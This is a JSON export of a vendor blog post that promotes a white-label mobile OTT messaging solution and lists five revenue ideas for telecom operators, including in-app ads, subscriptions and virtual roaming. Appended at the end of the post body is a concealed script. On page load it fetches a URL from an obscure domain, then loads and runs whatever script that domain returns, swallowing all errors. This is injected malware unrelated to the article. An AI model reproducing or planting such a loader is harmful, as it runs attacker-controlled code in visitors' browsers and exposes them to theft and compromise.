{"id":1517,"date":"2021-08-05T10:37:52","date_gmt":"2021-08-05T10:37:52","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=1517"},"modified":"2025-09-05T11:29:49","modified_gmt":"2025-09-05T11:29:49","slug":"create-revenue-opportunities-mobile-ott-solution","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/","title":{"rendered":"5 Ways to Create New Revenue Opportunities with Mobile OTT Solution"},"content":{"rendered":"<p>With the arrival of OTT Apps, the Telecom Operators have been battling with the losses these apps\u00a0continue to cause to their business. Voice and SMS revenue of Telco&#8217;s are hugely impacted by the free OTT apps like WhatsApp, We Chat, etc.<\/p>\n<blockquote><p>According to a new study of <a href=\"https:\/\/www.juniperresearch.com\/press\/operator-voice-revenue-to-drop-45-by-2024\">Juniper Research<\/a>, Mobile Operator voice revenue will fall to $208 billion by 2024 from $381 billion in 2019, as users continue to opt for more flexible and free OTT (Over-the-Top) services.<\/p><\/blockquote>\n<p>Hence, keeping in mind the increasing usage of these applications, it has become imperative for telecom operators to create their own app availing\u00a0\u00a0<a href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions\">Mobile OTT Solution<\/a>s\u00a0from software solution providers.<\/p>\n<p>But then the question arises, how can these apps help the Operators generating revenue when these are the reason behind the revenue loss? Well, there is a very simple answer to this &#8211;<strong> \u2018If you can\u2019t beat them, join them\u2019.<\/strong> So, Telecom Operators and Communication Service Providers can reduce their losses by launching their very own OTT messaging app.<\/p>\n<p>This OTT wave is here to stay for a long time because it has plenty to offer. With the kind of popularity it has attained, businesses can make use of it and find a way to garner more revenue. When you have your own branded messaging app to offer, the opportunities will widen for you. To start a business with OTT messaging app and generate revenue from it, a dedicated strategy is required.<\/p>\n<p>Selecting the right OTT app vendor will put you ahead in the game. A white label Mobile OTT Solution offers you that chance to generate more revenue for your business in multiple ways.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f7a9d2e8\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" 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Revenue-Making Opportunities with Mobile OTT Solution<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#In-App_Advertising\" title=\"In-App Advertising\">In-App Advertising<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#Subscriptions\" title=\"Subscriptions\">Subscriptions<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#Virtual_Roaming\" title=\"Virtual Roaming\">Virtual Roaming<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#In-App_Purchasing\" title=\"In-App Purchasing\">In-App Purchasing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#Integration_with_Other_Platforms\" title=\"Integration with Other Platforms\">Integration with Other Platforms<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#Looking_for_a_Mobile_OTT_Solution\" title=\"Looking for a Mobile OTT Solution?\">Looking for a Mobile OTT Solution?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#How_Mobile_OTT_is_Ruling_over_Telco_Operator\" title=\"How Mobile OTT is Ruling over Telco Operator\">How Mobile OTT is Ruling over Telco Operator<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/#How_to_Monetize_Your_OTT_App_For_High_Returns\" title=\"How to Monetize Your OTT App For High Returns\">How to Monetize Your OTT App For High Returns<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Top_5_Revenue-Making_Opportunities_with_Mobile_OTT_Solution\"><\/span>Top 5 Revenue-Making Opportunities with Mobile OTT Solution<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Mobile OTT Solution offers a huge opportunity for monetization for Operators and Communication Service Providers. Here are the top 5 revenue-making opportunities with telecom OTT.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"In-App_Advertising\"><\/span>In-App Advertising<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2308 alignleft\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/In-App-Advertising.png\" alt=\"in app advertising\" width=\"324\" height=\"324\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/In-App-Advertising.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/In-App-Advertising-150x150.png 150w\" sizes=\"auto, (max-width: 324px) 100vw, 324px\" \/><\/p>\n<p>First and foremost, the most important and worthy option to make more profits is in-app advertising through digital marketing. Once you have an established user base, you can use that asset to your advantage, by offering advertising options to brands.<\/p>\n<p>As the content consumption of users is increasing day by day, brands are finding newer and more concentrated ways for customer engagement. Now to drive traffic, multiple banner formats are in use for mobile app advertising.<\/p>\n<p>Some of these formats include:<\/p>\n<ul>\n<li>Interstitial Ads<\/li>\n<li>Banner Ads<\/li>\n<li>Video Ads<\/li>\n<li>Native Ads<\/li>\n<li>Text Ads<\/li>\n<\/ul>\n<p>With these varied options, you can make a monetization strategy as per the target audience. The wide array of opportunities this opens for brands and companies, in turn, becomes monetarily beneficial for telecom operators and communication service providers.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Subscriptions\"><\/span>Subscriptions<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2309 alignright\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/Subscription.png\" alt=\"subscription\" width=\"325\" height=\"325\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/Subscription.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/Subscription-150x150.png 150w\" sizes=\"auto, (max-width: 325px) 100vw, 325px\" \/><\/p>\n<p>The telecom industry has been hit hard by this OTT wave. So, the communication service providers have no option but to expand beyond communications to create a sustainable monetization strategy.<\/p>\n<p>Subscriptions are a great way to build up a consistent and reliable revenue stream. But keep in mind, the key to success with a subscription model is to provide constant value to the customers. The OTT messaging app needs to add new, useful and premium features consistently.<\/p>\n<p>With this model,\u00a0businesses can offer multiple plans with options to upgrade, downgrade and cross-grade too (when mobile app users can switch from one subscription plan to another comparable one).<\/p>\n<p>Under the subscription option, Operators and Communications Service Providers can also offer business messaging for more convenient and efficient business communication. The idea behind offering subscription-based business messaging is to provide a direct communication platform for both small and large businesses.<\/p>\n<p>People use various communication platforms for both personal and professional needs. And oftentimes, it is the same platform that an individual uses for both purposes. Therefore, keeping this in mind, businesses can add in some features like analytics or rich communication services and make them available for large\u00a0enterprises as well.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Virtual_Roaming\"><\/span>Virtual Roaming<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2321 alignleft\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/roaming-.png\" alt=\"virtual roaming\" width=\"300\" height=\"300\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/roaming-.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/roaming--150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>OTT Solution solves the problem of falling roaming revenues due to the high cost of international roaming charges to users. App-based <a href=\"https:\/\/www.revesoft.com\/products\/reve-virtual-roaming-solutions\" target=\"_blank\" rel=\"noopener\">Virtual Roaming Solution<\/a> helps to saves up to 90% on roaming charges but also gives users the convenience of communicating with their local mobile number while travelling<strong>.\u00a0<\/strong><\/p>\n<p>From the businesses side, it improves customer loyalty as they can offer additional services such as video calls, web conferences, mobile money etc. besides roaming through mobile apps.<\/p>\n<p>It\u2019s a very positive way to retain roaming revenue and reduce the costs of international roaming agreements with foreign Operators<\/p>\n<h3><span class=\"ez-toc-section\" id=\"In-App_Purchasing\"><\/span>In-App Purchasing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2307 alignright\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/in-app-purchasing.png\" alt=\"in app purchasing\" width=\"300\" height=\"300\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/in-app-purchasing.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/in-app-purchasing-150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>In-App Purchasing is another strategy that makes your OTT messaging app a powerful sales channel. However, as a service provider, you need to be aware that just because you are offering consumers a different purchasing path, does not mean they are going to take it.<\/p>\n<p>The existence of this path merely does not push consumers over the finish line. The entire experience ought to be seamless, more convenient, and more enjoyable than other channels to make a difference and drive sales.<\/p>\n<p>There are two types of in-app purchases, namely, Consumable and Non-Consumable. The Consumable\u00a0type covers the in-app purchase of various consumable items (virtual items) that app users need to replenish while using the app like coins, virtual money etc.<\/p>\n<p>Non-consumable types of in-app purchases relate to purchases that app users make once to expand the set of features the app offers like stickers, emoticons bundles, transferring payments, booking a reservation etc.<\/p>\n<p>Over time in-app purchases have claimed a significant part of the app revenue and therefore is becoming a promising monetization strategy for OTT in telecom.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Integration_with_Other_Platforms\"><\/span>Integration with Other Platforms<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2311 alignleft\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/6501.png\" alt=\"integration with other platforms\" width=\"300\" height=\"300\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/6501.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/10\/6501-150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>The telecom company is vying for customer stickiness, interaction and time spent on the app. The larger agenda \u2013 and a more critical one \u2013 for these companies is to get active users to spend more time on their OTT app and make it viable for revenue generation.<\/p>\n<p>To keep them within the app\u2019s ecosystem, telecom operators and communication service providers need to broaden themselves to become larger platforms. By just introducing OTT messaging app that offers free services is not a strong revenue generation model.<\/p>\n<p>So now, Telcos in OTT are moving away from simply being a provider of communication tools (chat, voice and video) to becoming a platform for content consumption, exchange of services and payment mechanisms.<\/p>\n<p>Mobile OTT provides the additional opportunity for communication providers to know the users better through intelligent analytics.\u00a0 This data can\u00a0<span style=\"font-family: 'Georgia',serif; color: #333333;\">be used to influence your non-mobile business decisions and create hyper-targeted marketing campaigns.\u00a0<\/span><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Looking_for_a_Mobile_OTT_Solution\"><\/span>Looking for a Mobile OTT Solution?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span>Read Also<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_Mobile_OTT_is_Ruling_over_Telco_Operator\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/mobile-ott-ruling-telco-operator\/\" target=\"_blank\" rel=\"noopener\">How Mobile OTT is Ruling over Telco Operator<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_to_Monetize_Your_OTT_App_For_High_Returns\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/\" target=\"_blank\" rel=\"noopener\">How to Monetize Your OTT App For High Returns<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>Note: This blog is updated and reposted with the latest information on 5th Aug 2021<\/strong><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With the arrival of OTT Apps, the Telecom Operators have been battling with the losses these apps\u00a0continue to cause to their business. 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